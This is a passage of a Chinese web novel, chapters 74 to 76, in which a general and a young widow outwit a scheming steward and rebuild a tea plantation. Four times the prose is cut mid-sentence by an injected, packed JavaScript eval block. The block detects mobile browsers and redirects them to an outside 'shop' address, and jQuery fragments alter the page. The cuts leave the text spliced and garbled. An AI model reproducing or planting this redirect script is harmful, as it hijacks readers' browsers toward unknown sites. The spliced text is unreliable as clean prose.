黎偃松望着氤氲热气后她那朦胧柔和的眉眼，心中护她周全的念头愈发强烈，又细细叮嘱道：“我师父，也就是心澜的父亲，常说潜龙在渊，静待佳期。崔福此人不可小觑，我知你重建茶园的心意迫切，但这份心思，万不能在崔福面前显露分毫。适当示弱，让他放下警惕，你的路反而会好走许多。” 万山雪闻言收了喜色，郑重道：“将军这话怎么说？” “他如今执意劝崔家放弃茶园，非忠仆所为，背后定然受人指使，或是能从中牟取暴利。眼下我们虽不知他的真实图谋，却也清楚，他已站在你的对立面。如此一来，你在他眼中越是无能，便越是安全。” 万山雪思索片刻，豁然开朗：“将军所言极是。只是若要顺着他的意思，便须放弃茶园，我该如何应对才好？” “可先装傻充愣，借着没收到崔家太太消息的由头拖延时日。”黎偃松从容道，“即便茶园真要易主，经手人也必定是你。届时大可借力，将茶园转到宣颐姐名下，再伺机应对后续变故。我唯独担心你在崔福面前太过强硬，反倒惹来他的忌惮。” “若非将军提醒，我当真想不到这层。”万山雪茅塞顿开，“那我回去便跟他道歉，说昨日他的分析句句在理，是我年轻气盛太过张狂，会将他的话如实禀告太太。” 黎偃松见她一点即透，眼中闪过一丝赞许，随即又鼓足勇气将心里话透出来：“我在此地需长久周旋，时日不会短。崔家茶园这副担子，看似是商事，内里却牵扯着盘根错节的势力，你往后定会遇到诸多意想不到的艰难险阻。无论何时遇上难处，设法传信于我，不要事事独自硬扛。” 他越说越觉得脸上滚烫，忙别开眼去。 万山雪却未察觉他的异样，神色自然：“在京中时，黎伯父便与我说过，事到如今，我们虽不是亲人，却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031049|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不逊于亲人。往后将军若有需要我的地方，也请直言，不必客气。” 黎偃松万没料到她会说出这番话，一口热茶刚到嘴边，心神激荡之下，竟忍不住呛咳起来。 万山雪拈起一个糯米团子正要吃，忽地想起一事又放下来说道：“对了，我登船南下时，偶遇了萧湘姑娘。她在家中无意间偷听到父兄谈话，隐约得知将军或许身处险境，竟执意要南下寻你报信。我见她态度坚决，实在劝阻不得，担心她一个孤身女子赶路危险，便一面派人快马给萧家送信，一面将她一同带到了晋陵。眼下暂且安置在崔家别院，与我同住一处。” “萧湘？”黎偃松闻言很是意外，眼中满是茫然，“哪位萧姑娘？” 他竟对人家全无印象。 万山雪见他这般神色，便知他是真不记得了，不免生出几分诧异——那样惊天动地的经历，于萧湘而言定是终生刻骨铭心，可于黎偃松这般历经生死的人来说，已经忘得干干净净。可叹少女一腔孤勇，对方连她名字都记不住。 等了片刻，见他依旧毫无头绪，她才轻声提醒：“就是今夏将军回京为老太太贺寿时，在京郊救下的那位姑娘。同行的还有她的兄长，萧慎。” 经她这般一提醒，黎偃松才终于恍然记起：“原来是她。那日，你也在。” “对对对！”万山雪见他终于想起，不由得露出几分欣喜，“就是她。萧姑娘一路都在忧心将军，只是她年纪尚小，喜怒哀乐全写在脸上。今日得见将军平安无事，只怕也不好告诉她。” 她又笑着补充道：“我倒不是要翻弄小姑娘的心事作谈资，只是觉得这份真心殊为难得，应当让将军知晓。你们都未成家，将来或能成就一段良缘也未可知呢。” 黎偃松方才的好心情都散去了，心口愈发闷堵。 在她眼里，他不过是因缘际会牵扯到一起，人品心性值得信赖的朋友罢了。 人果然都是贪心的。从前隔着千山万水，只盼能再见一面。如今得以时常相见，却又奢望能得她青眼相看，想要离她近一些，再近一些。 万山雪丝毫未察觉他翻涌的情绪，将话题引向要紧处：“将军，我一路南下，心中最不安的便是此事。试想连萧湘这样深居闺阁的女子，都能知道您的动向，这足以说明，金相国对您在江南的行踪，只会更清楚。将军的处境，实在凶险得很。” 几句话立刻敛去他心头那点莫名的酸楚，他沉声应道：“你不必担心，这些风声是我们故意放出去的。金弘老奸巨猾，党羽遍布朝野，江南更是他经营多年的地盘。想彻底隐匿行踪，难如登天。索性反其道而行之，真真假假，虚虚实实，如此一来坐立不安的，反倒该是他了。” “将军，我忽然想到一个探消息的新路子，只是不知可行与否。”她的语气带着几分犹豫。 黎偃松抬眸望她，眼中满是鼓励：“愿闻其详。” 74. 第 74 章 “我听萧湘说，她此番南下，一来是忧心将军安危，二来便是要去探望其姐——靖安侯夫人萧泠。萧夫人产期将近，萧湘总怕先前那场龃龉，会让姐姐在侯府里加倍受委屈。故而……” 万山雪抬眸望向黎偃松，话语顿了顿，斟酌着说道：“我不懂朝堂权谋，只想着定国公与靖安侯地位举足轻重。金相国若真有异心，图谋江南半壁，必定会先拉拢这二人。将军或许可遣一心腹，借着护送萧湘入府探亲的由头，随同进府，说不定能窥得几分蛛丝马迹。” 黎偃松闻言，不由得颔首微笑道：“不瞒你说，我们恰好打探到一则确切消息，说定国公吴险夫妇为顾全两家颜面，届时也会亲自前往靖安侯府贺喜。若能借此探明他二人的立场动向，于我们判断大局，可是至关重要。” 万山雪唇边漾开浅浅的笑意，偶然之遇造就的偶然举动，竟真能派上用场，可见连老天也偏爱黎将军。 两人当即压低声线，凑近了细细商议。从与萧湘商议，到可能遭遇的盘问试探，应对之策，桩桩件件都反复推演推敲，务求周全无虞。 窗外日影渐渐西斜，将暖阁的窗棂拉成细长的剪影，斜斜铺在青砖地面上。炭盆里的火早已弱了下去，只余一点暗红的余光，在灰烬里明明灭灭，勉强维系着室内最后一丝暖意。茶香渐渐淡去，墨香混着窗缝里钻进来的冷冽梅香，在鼻尖萦绕不散。 方略既定，黎偃松凝眸望着她，一字一句，语气郑重：“你为我引了这条路，已是帮了天大的忙。切记，万勿亲身涉险，一切以自身安危为上。” 他的目光带着关切沉沉落下来，力道重得仿佛要刻进人心。 万山雪心头微动，这才恍然发觉，从前相见，他总一口一个“夫人”，礼数周全，今日相见却是句句“你我”相称。转念一想，大抵是相处得熟稔了，又逢这特殊时机，便不必再处处拘着客套。 紧绷的神经稍稍松懈，腹中空虚的感觉便涌了上来。她的目光不自觉地飘向案头那碟桂花糯米团子，蒸得雪白莹润，表面撒了一层金红的桂花碎，看着就让人食指大动。 她拈起一个，轻轻咬下一口。清甜的桂花香混着糯米的软韧，在舌尖慢慢化开，是独属于江南的温柔滋味。 连日奔波的疲惫，仿佛都被这一口甜意抚平，她满足地轻轻“嗯”了一声，眸子里亮闪闪的，带着几分雀跃：“还是江南的糯团地道，京城的总差了点意思，要么甜得发腻，要么糯米嚼着生硬，全然没有这股软糯劲儿。” 难得见她这般鲜活神态，他微微一怔，正欲开口，忽听门外传来一阵爽朗的笑声，震得窗纸微微发颤： “哈哈，那是自然！‘要吃辣子找辣秧，要吃鲤鱼走长江’，老话儿可从不欺人！” 话音未落，茶室的门便被推开。宣赞之捋着颔下花白的胡须，满面笑容地走了进来，身后跟着孙女宣颐，还有个蹦蹦跳跳的小不点——正是他的重孙女宣棋。 宣棋梳着双丫髻，身上穿一件水绿色的夹袄，乌溜溜的大眼睛一下就锁定了万山雪。她立刻挣脱了曾祖父的手，像只快活的小雀儿般扑了过来，脆生生地喊：“好看嬢嬢，抱抱！” 许是年岁渐长，万山雪对这般玉雪可爱的孩子，竟是半点抵抗力都没有。她自然而然地俯身，将小丫头稳稳抱了起来。 宣棋立刻伸出短短的小胳膊，紧紧搂住她的脖子，软乎乎的脸颊贴在她肩头，混着淡淡的桂花皂角味。 宣赞之见状，捋着胡须笑得愈发开怀：“方才我回去说起茶园的事，宣颐这丫头便坐不住了，非要跟你去茶园里瞧瞧。你别不放心，这丫头打小跟着我们老两口在茶山里打滚长大，辨土质、识茶苗、看火候，于茶树栽培上头，可是颇有门道，决计误不了你的事。” 这简直是意外之喜！若非当着众人的面，万山雪欢喜得几乎要跳起来。 宣家乃是茶王之后，家学渊源深厚。宣颐虽是初见，寥寥数语间亦能看出她心地良善，有她相助，茶园的事定然能顺遂许多。便是遇上解不开的难题，有这层关系在，还怕茶王不肯出手相帮么？ 宣颐从她怀里接过宣棋，又腾出一只手，与万山雪的手轻轻相握，笑道：“明日我便带着棋儿去茶园寻你。” 万山雪心中不胜欢喜，忙应道：“好！我回去便着人收拾出两间上好的厢房，静等姐姐与小棋儿光临。” 黎偃松静立一旁，看着万山雪与宣家祖孙谈笑晏晏、亲昵无间的模样，一股强烈的羡慕，毫无预兆地漫上心头。 何其荒唐，他发觉自己竟平等地羡慕着每一个能名正言顺靠近她的人。 多想，自己也能成为其中一员。 夕阳的余晖将庭院染成一片温暖的橘金色，连院角的青竹，都披上了一层柔软的光晕。 万山雪对着宣家祖孙敛衽深深一礼，便要离去。 指尖刚触到车辕，心头却忽然一动。她下意识地仰头，望向茶室那扇敞开的轩窗。 暮色渐浓，窗内尚未点烛，昏昏暗暗的。可那道挺拔的身影，却十分清晰地立在窗前，默然凝望着她。 两人的目光，穿过渐渐弥漫的薄暮，遥遥相接。 他是驰骋疆场的大将军，却困囿于此，这天下，当真是无一人真自由。 万山雪心头一阵酸楚，微微颔首，转身登车。 就在这时，忽有一名家丁模样的人从山下疾步奔来，对着宣赞之躬身回道：“老太爷，老爷回来了！他们一行人牵马上山，刻意敛了声息，故而咱们的人事先不曾发觉。” 宣老脸上的笑容瞬间褪去，眉头紧紧蹙起。宣颐脸色微变，丢下孩子拔腿往院里去：“我去传信。” 黎偃松已是快步奔下楼来，正要往后院赶，却被宣赞之厉声喝住：“来不及了！” 院里通往黎偃松一行藏身院落的，只有一条泥泞小路，连日雨水浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049233|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡，泡得稀软。此刻隔墙递信号容易，若是慌慌张张穿过去，必定会留下痕迹。 电光石火之间，万山雪已是了然。宣赞之的儿子，定然是得了风声，才会这般出其不意地归来。 脚步声越来越近，甚至能听到马儿喷鼻的声响。 万山雪来不及多想，冲上去一把攥住黎偃松的衣袖，拽着他便往马车奔去，黎偃松身影一晃掠入车厢。 “宣老，晚辈今日叨扰了，先行告辞。” 她能清晰听到自己胸腔里咚咚的心跳声，面上却佯装从容理了理袖口，抬脚登上了马车。 车厢内光线稍暗，两人相对而坐，膝头几乎相触。万山雪有些不自在，悄悄将车帘掀开一条细缝，向外望去。 只见马车驶出数步，转入一段略显狭窄的山道。前方一行人原是牵马而行，此刻却突然翻身上马。辛骐见状，忙将车子靠边缓行。 就在堪堪错身而过时，迎面那青年手中的马鞭忽然凌空一甩，“啪”的一声脆响，竟惊了辛骐的马儿！ 那马吃痛，猛地嘶鸣一声，前蹄腾空而起。辛骐大惊，急忙猛勒缰绳，狠打方向。车轮碾过路边的碎石，车厢顿时剧烈颠簸起来。 万山雪猝不及防，整个人朝着侧边撞去。 几乎就在同一瞬，一只温热的大手伸了过来。黎偃松反应奇快，他一手撑住车壁，另一手则稳稳地、紧紧地将她护在了怀里。 一切发生得太快。等万山雪回过神时，发觉自己正以无比亲密的姿势依偎在他怀里，额头抵着他的下颌，耳中能清晰感觉到衣料下沉稳有力的心跳。他的手臂环在她身侧，宛如一道血肉筑就的屏障，坚实得令人心安。 她脸上倏地腾起一阵热意，忙撑着车壁坐直身子，耳根烫得像着了火。 “没碰着吧？”他低声问道。 “没有。”她轻轻摇头，声音细若蚊蚋。 车外已传来宣韬毕恭毕敬的致歉声：“对不住，底下人粗手笨脚，惊着贵客了。” 万山雪定了定神，伸手将车帘掀开一线，语声平和：“这位老爷言重了，山路崎岖不平，些许颠簸原是常事，何谈抱歉二字。” 双方客客气气地道了别，继续前行。 车厢里再度安静下来，万山雪端端正正地坐着，尽可能做出若无其事的样子，可耳根的热意迟迟不散，只好偏过头，假装看向帘隙外飞速掠过的树影。 黎偃松靠在车厢壁上，眸光沉沉，说不清心里是何滋味，酸、涩、甜，还有丝丝缕缕的疼，交织在一起，漫过心口。 “方才，情急之举，冒犯了。”他低声开口，打破了沉寂。 “将军是为护我。”她轻声接话，目光依旧停留在车帘上，“该是我谢你才是。” 马车辘辘前行，单调的声响在车厢里回荡。 风从帘隙钻进来，带着梅香，也带着一丝说不清道不明的悸动，在车厢里缓缓流淌。 75. 第 75 章 马车在官道上又行了一段，天色愈发暗沉，远山的轮廓渐渐融为一片青黛。行至岔路口，黎偃松微微前倾身子，低声道：“这位车夫，瞧着倒是沉稳机警。” 万山雪明白他的意思：“是舅舅荐来帮衬我的。” “我便在此处下车。”他伸手撩开车帘，回头深深看了她一眼，“保重。” 话音落下，人已跃下马车，朝辛骐一抱拳，随即转身没入路旁幽深的竹林。寒风掠过，竹叶飒飒作响，顷刻间掩去了所有踪迹。 车厢里骤然空寂下来，只余一点他留下的清冽气息。万山雪立刻掀开车帘，任冷风倒灌而入，直到鼻腔内只余衣领上熟悉的熏香，才轻轻放下帘子。 抵达崔家别院时，已是华灯初上。崔福提着灯笼迎出来，暖黄的光将他堆满笑容的脸映得半明半暗。 “二奶奶可算回来了！宣老那边可还顺利？”他语气殷切，眼神不住往她面上打量。 万山雪适时露出倦色，眉心微蹙，轻轻叹了口气：“茶王学识渊博，令人敬服。只是……唉，福叔，进屋再说罢。”她步履沉重地朝厅内走去，崔福连忙跟上。 橘霜奉上热茶，万山雪捧在手中，望着氤氲热气，声音里满是无奈：“福叔，是我先前想得简单了。与宣老深谈，才知您所言不虚。连宣老那般人物，亦颇有束手之叹，直言耗费巨大，困难重重。” 崔福神色凝重，痛惜一番又劝慰道：“事已至此，二奶奶也莫要太过忧心。” 万山雪点点头，又道：“所幸宣老终究是看在我舅舅的情面上，答应勉力一试，拨些懂行的人过来指点。我也定会将你们的建议如实修书禀明婆母，请婆母与族中长辈斟酌定夺。” 崔福脸上的笑容真切了许多，连连点头：“二奶奶思虑周全，正该如此。” 见他这般反应，万山雪心下微定，端起茶盏慢慢饮了一口。 次日，她便在厅中铺纸研墨，写起信来。将宣赞之与崔福所诉困难一一列举，字里行间透着忐忑与恳请定夺之意。 信写好后，她瞥见崔福家的在门外转悠，便故意唤来辛骐，吩咐道：“将这封信加急寄往京城。” 辛骐接过信正要转身，崔福家的却笑嘻嘻地凑了出来，脸上堆着笑：“二奶奶，这点小事何须劳烦辛兄弟？我正好要去街市办些采买，顺路送去便是，稳妥得很。”说着手已伸了过来。 辛骐看向万山雪。 她只沉吟一瞬，便对崔福家的点点头：“也好，那便有劳李婶了。辛大哥，你去马厩看看，若是马儿喂饱了，便去迎一迎宣家人。” 辛骐不再多言，躬身退下。 直到李嬷嬷拿着信走远，辛骐才快步折返，压低声音：“二奶奶，这恐怕不妥……” 万山雪抬手止住他的话，走到窗边，望着李嬷嬷消失在院门外的背影说道：“无妨。兵来将挡，水来土掩。有些事拦是拦不住的，不如看看他们究竟想如何。” 辛骐怔了怔，随即会意笑道：“二奶奶心中有数便好。” 暮色四合时分，宣颐母女到了，万山雪连忙迎出去。 只见宣颐利落地从马车上下来，牵着打扮得如同年画娃娃般的宣棋。母女身后跟着十来个短打扮的男子，沉默地立在门外，目光低垂，显得木讷本分，一望便知是老实可靠的农人。 “怕你急着用人，先带了些帮手过来。有些是家中旧仆，有些是山里知根底的茶户，都是干活不惜力气的，也颇懂茶树脾气。”宣颐说道。 万山雪笑着将宣棋抱起，对众人道：“有劳各位了，茶园事杂，往后要多辛苦大家。” 又对宣颐感激道：“姐姐雪中送炭，解我燃眉之急，真不知如何感谢才好。” 宣棋伸出小胳膊搂住她，甜甜地说：“嬢嬢，我也来帮你种茶！” 万山雪连声应着，一面吩咐崔福安置人手，一面引她们入内。 宣颐果真如宣赞之所言，是个极有章法的人。 不过十来日功夫，她便如运筹帷幄的将帅，将茶园人事活计安排得井井有条。谁负责垦土，谁专司引水，皆心中有数，指挥若定。 有不当之处，她也从不高声呼喝，只轻声点拨几句，或亲自示范一下，众人便心领神会。那十几个男子干活卖力，学得也快。难得开口，一张口都是本地口音。 万山雪暗暗纳罕，不知黎偃松怎会有这样大的能耐，短时间内如何能将口音教得这般相似。 茶园因宣颐母女的到来与井然的劳作，透出一种忙碌踏实的生机。连李嬷嬷都私下嘀咕：“这位宣大娘子，真是个能干的。” 重建事务繁杂，人手远远不够，万山雪催崔福将从前帮工的人找回来。他答应着去了，磨蹭了足足三四日才支支吾吾汇报：“他们都是干惯了采茶制茶的，如今这些活计不擅长，推脱着不愿来。” 万山雪心里明镜似的，顺势道：“既然勉强不来，那便招人罢。花露，你去写一张招长工的告示，逢集让辛大哥到街市上寻合适的。” 辛骐领命，到了逢集果然带着告示牌去镇上招募工人。萧湘闲着无聊，要跟辛骐一道去，却被辛骐婉拒。她又做不惯农活，只在旁玩耍，见宣颐将一切打理得清爽利落，不由得赞道：“宣颐姐姐可真厉害，什么都懂，比我强多了，我就只会添乱。” 说着又好奇地问：“姐姐你这么好，生得好看又能干，为什么会跟夫君和离啊？” 话音落下，四周空气似凝滞了一瞬。万山雪不便呵斥，只道：“妹妹若是无事，不如回去歇歇。” 宣颐慢条斯理地用布巾擦了擦手，抬眼看向萧湘，目光平静无波，声音依旧柔和：“靖安侯府内姬妾如云，侯爷风流之名远播。敢问萧姑娘，令姐究竟是哪里不够好？” 萧湘脸上的笑容瞬间僵住，俏脸涨得通红。她嘴唇哆嗦了几下，想反驳却噎住，泪水在眼眶里打转，猛地一跺脚，转身跑了出去。 万山雪打圆场道：“萧湘还是一派孩子心性，姐姐莫往心里去。” 宣颐垂下眼帘，继续擦拭手中的小铲，仿佛方才那番言语交锋从未发生，淡淡道：“你也真肯惯她，十五六了还冠以孩子之名。今日是我，他日若冲撞了旁人，未必这般轻易了结。” 万山雪心下明了，宣颐并非刻薄之人，萧湘本性不坏，可常常出言冒失，她是借此敲打， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054181|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让这姑娘知晓些人情分寸。 是夜，月华如霜。 萧湘被万山雪劝了一番，虽颇为不服，倒也气鼓鼓地睡下了。 万山雪拎了一壶清酒，叩响宣颐的房门。 宣颐见她提着酒壶，了然一笑。两人蹑手蹑脚出来，到崔家门外的亭子里。辛骐已默默守在不远处。 宣颐将亭中烛火扑灭，笑道：“月色这样好，何须费灯烛？” 两人借着寒月清辉，在石几旁相对坐下。万山雪拔开酒塞，桂花香气袅袅散开。 “这些日子，多谢姐姐。”万山雪举杯轻声道。 “绕这么大弯子，”宣颐与她轻轻碰杯，饮了一口，“我在你眼里，就那样小心眼？” “不全为了白日之事。自姐姐来后，清醒时都在替我操劳，不曾好好坐下来说说话。” 宣颐晃晃手中的酒杯：“自我和离带着棋儿回娘家，日日被父母催逼另嫁，后来住在祖父那儿虽安宁，到底太清闲。不如在你这儿忙忙碌碌的，反倒好过。” “棋儿的父亲，倒不算十分坏，只是愚孝懦弱太过——‘孝道’二字重逾千斤。婆婆之言便是金科玉律，纵是无理苛责，他也只叫我忍耐，说什么‘天下无不是的父母’。” 她语气平淡得像说旁人的事：“我尽心侍奉，打理家业，生育棋儿，自问未有疏失。只因生育棋儿落下诸多隐疾，我决定不再生育，婆母便日日变着法子责骂，甚至趁我不备，要将棋儿……溺毙……” 说到女儿，她哽住了。停顿许久，才继续道：“我与婆母大闹一场，将她告到衙门。棋儿那个拎不清的爹，倒当众责我家丑外扬，不贤不孝。” 宣颐仰头将杯中酒一饮而尽，“可笑吧？那样好的年华，竟错付给这样一个糊涂虫。” 万山雪静静听着，为她续上酒。月光流淌在两人身上，宣颐再次举杯：“都过去了。” “对，再不必浪费一丝一毫的精力。”万山雪仰头望着冬夜寥落的星辰，“我不像姐姐和心澜那般有才情，天生的庸才，为了一个情字，荒废许多时光。如今侥幸得了这个机遇，又遇到宣老和姐姐这样的能人。我便想牢牢抓住，扎扎实实学些本领。所以，请姐姐务必不要嫌弃我愚笨，教我种茶，教我经营，教我凭自己双手立于世间的本事。” 月色下，她的脸庞莹白如玉，眸中跳动着两簇火苗，那是对掌控自身命运的渴望。 宣颐定定看着她，良久，缓缓举杯，两人相视一笑。 酒意微醺，心事渐敞。或许是那月光太撩人，或许是桂花酒勾起了久违的松弛，宣颐轻轻哼起一首江南小调，调子婉转悠长。万山雪忽然站起身，随着那曲调舒展衣袖，缓缓移步。 她已经太久没有这样的心境了。动作虽显生涩，却别有一种随性自然的韵致。月光洒落周身，裙裾微扬，身影纤袅，如同月下悄然生长的修竹，带着青涩却蓬勃的生机。 宣颐也放下酒杯起身，与她相对踏着拍子。两个女子，和着无人知晓的曲调，在清辉中翩然起舞。纵然没有章法，也美得惊人。 她们未曾察觉，不远处的竹林阴影下，不知何时已立着两道身影。 76. 第 76 章 竹林深处，黎偃松与江心澜并肩伫立 方才亭中月下的对酌私语、舒展起舞，尽数落入二人眼底。 直至那扇朱门沉沉关闭，将里头的暖光与身影全然隔绝，黎偃松才轻吁出一口。 江心澜侧头瞥他一眼，压低声音戏谑道：“怎么，看入迷了？” 黎偃松缓缓收回目光，唇边浮起一抹苦笑，未置可否。脑海中却猝不及防地闪过那日马车上的光景。 那一刹那的温软馨香，她瞬间绯红如霞的脸颊与慌忙退开时的失措，还有自己胸腔里剧烈的悸动……这几日分明刻意回避，可今夜见她，那份被强行按捺的情愫便如破土的春芽，被悄然唤醒。 “初见时她眉间总锁着愁绪，瞧着都让人觉得透不过气。”他的目光投向那扇已熄了灯的窗棂，轻轻笑了，“如今，倒像顶开了头顶顽石的竹笋，自己挣出一片天光。当真难得。” “是难得。”江心澜感慨道，“我也没料到她能有这般韧性。又遇上宣颐这样的良师益友，便是最终不能全然遂愿，这番经历也定能让她获益良多。”她话锋一转，“对酒当歌……她俩倒是投缘得很。” 黎偃松调侃道：“这缸醋吃得可毫无来由。你自己不还夸宣颐通透豁达，堪为良友？两个都是你真心赞赏的人，如今凑在一处惺惺相惜，你倒不痛快了？” “谁不痛快了？”江心澜瞪他一眼，语气却闷了下去，“你看我，自幼在边关军营里长大，身边除了父母，便是你们这群糙汉子。偶尔回京城小住，又最不耐烦那些虚与委蛇的人情往来。好容易因缘际会，遇上万姐姐这般能说真心话的人……” 她的脸上满是落寞，“可如今，她有宣颐这样的知己相伴，能谈心底事，能共谋前路，默契得仿佛一个人。而我，倒像是……被留在门外的那一个。” 黎偃松脸上那点戏谑的笑意敛去了，认真起来：“是我不好，不该如此说。细想起来，我幼时也常因大哥二哥更说得上话，暗自失落过。不过，于她眼下的处境而言，宣颐自是雪中送炭的良友，走得近些在所难免。可你呢？你是她困于深宅举目彷徨时，瞧见的第一束光。是你为她推开那扇紧闭的窗，让她看见外头的天地，知晓人生尚有别的活法与可能。这份情意，岂是旁人能轻易替代的？” 江心澜闻言，扑哧一声笑了出来：“你这榆木疙瘩，今儿倒像是开了窍，竟也会说些暖心的体己话了。我还以为，你要搬出‘君子之交淡如水’的道理来堵我呢。” 晚风拂动她鬓边碎发，她忽然轻声道：“黎偃松，其实你喜欢她，我也是有点吃醋的。” 黎偃松猛地一怔，愕然转头看她。 “你别自作多情，真不是男女之间那种要死要活的情意。” 江心澜摆摆手，“只是觉得，原本我像是站在中间的那一个，连着你，也连着她。可你忽然就越过我，径直朝她走去，倒把我空悬在了一旁，难免觉着有些孤零零的。” 她自嘲地笑了笑，“不过话说回来，真要把你给了我，我定是不要的。你说，人心这东西，怎就这般复杂难解。” 黎偃松解下自己背着的暖壶递给她：“别胡说了。我与她之间，谈这些尚太早。她眼下最要紧的，是稳稳立住脚跟。而我，亦有诸多未竟之事悬在心头，前程未卜。” 他的目光再次落向那片已全然沉寂在夜色中的院落：“比起初见时，她在崔明之面前那般卑微忍让的模样，我宁愿千次万次，看见如今夜这般能随性而舞、眼神里燃着灼灼光亮的万山雪。哪怕这一切与我无关，也不要紧。” 转眼到了腊月二十八，辛骐风尘仆仆归来，身后跟着三十余名新招来的劳力。 正如万山雪所料，今年多地遭灾，流民逃荒者众，年关将至，生计更是艰难，寻人手不难。 这些人大多面黄肌瘦，衣衫褴褛，眼中满是对一口饱饭的渴望，以及对新东家的打量。其中有五六人，虽也穿着粗布旧衣，体格却相对健壮，神态沉稳——那是黎偃松暗中安排进来的人手。 万山雪挨个儿挑选。 纵有善心，也需施与值得的人。凡目光游移闪烁、言辞过于油滑机巧之辈，即便看着身子健壮些，她也只客气地多予几文铜钱，温言婉拒。最终留下十八人。 “工钱十日一结算，绝不拖欠。每日管两餐饱饭，只要各位踏实肯干，不偷奸耍滑，我这里便有你们一碗安稳饭吃。” 众人面露感激，连连诺应，被管事一一领去安置。 这十八人中，有个黑脸大汉最为醒目。他身高体阔，生得铁塔一般，饭量也惊人，干活极卖力气，垦土、挖渠、搬运重石，这些最粗重的活计，他一人便能抵得上两三人。只是他鼾声如雷，性子又孤僻寡言，从不与人凑堆闲话，不过几日，便惹来其他劳力隐隐的排挤与疏远。 这些，万山雪都默默看在眼里记在心上。 她吩咐花露为那汉子多加饭菜，又让人收拾出西头那间原本堆放旧农具的偏房，令他单独居住，免去彼此干扰。 崔福瞧在眼里，堆着笑道：“二奶奶对这莽汉，倒格外关照些。” “他干的活最苦最重，自然该多吃些，住得也宽敞些。公平而已。”万山雪抬眼看向他，“福叔以为，有何不妥么？” 崔福忙躬身陪笑：“妥当，妥当！二奶奶体恤下人，赏罚分明，是咱们崔家的福气。” 崔福转身离去后，万山雪心中的警惕之弦绷得更紧，唯恐他暗中使坏。 尤其对于茶园的厨房管控，她越发严密，从采买、清洗到烹煮、分发，每一步必经自己信得过的人手，不仅要保证茶工们吃饱，还定下规矩，每两日必得添一次荤腥。 崔福家的几次三番，想寻由头塞人进来插手厨房琐事，或是指派仆妇帮忙，都被万山雪不软不硬地挡了回去。 日子一久，一些流言蜚语便悄悄在庄子里飘散开来。有人说崔家二奶奶年轻不经事，手面太松，挥霍无度，这般经营迟早要败光家底；也有人说宣颐一个和离归家的妇人，整日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061176|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抛头露面，与万山雪一同打理外头的茶园产业，实在不成体统。 这些话语，偶有几句飘进万山雪耳中，她只淡淡一笑，浑不在意，将全副精神都扑在了茶园的整治上。 她清楚，在这些嚼舌根的人眼里，女子无论做什么，总有可供指摘之处。与其费神辩驳，不如做出实实在在的成果。 期间，宣老亲自来了一趟，说是与宣老太太闭门许久，琢磨出一整套改良茶园土壤、兼顾短期收益的法子。 他建议万山雪，在恢复土质的这头几年，不必急于全部栽种茶树。可先让一部分工人收集冬季随处可见的枯枝落叶，沤制成天然肥料，分批施于土中。而种植也不再以单一茶树为主，山顶栽种耐贫瘠的马尾松以固水土，山腰处开辟果林，而在果树与未来的茶树之间，见缝插针种上大豆、油菜之类的矮秆作物。 宣老捻须道，这般立体套种，不仅能极好地涵养水源、改良土壤肥力，还能在这三年的茶树生长等待期里，有些额外的收成，贴补用工开销，不至于让偌大的土地白白闲置，空耗钱粮。 这法子一出，万山雪喜出望外，当即与宣颐一同，依据茶园各处的具体情况，制定详细的实施计划。常常忙至日头西斜，仍不肯歇息。便是年节前后，也未曾歇息，心思仍系在那一坡一陇的规划上。 宣颐亦是倾囊相授，毫无保留。两人一个心思缜密，一个经验老到，那份日渐深厚的默契，让偶尔来茶园走动的萧湘都看得有些出神。 不知不觉间，萧湘身上那股冒失劲儿，竟如春冰化水般悄然消散了。经常在万山雪与宣颐忙得脚不沾地时，默默搭把手，还主动揽过了照看宣棋的琐事。小孩子多半喜欢萧湘这样活泼爱玩的性子，宣棋与她越来越亲近，竟是一日也记不得。 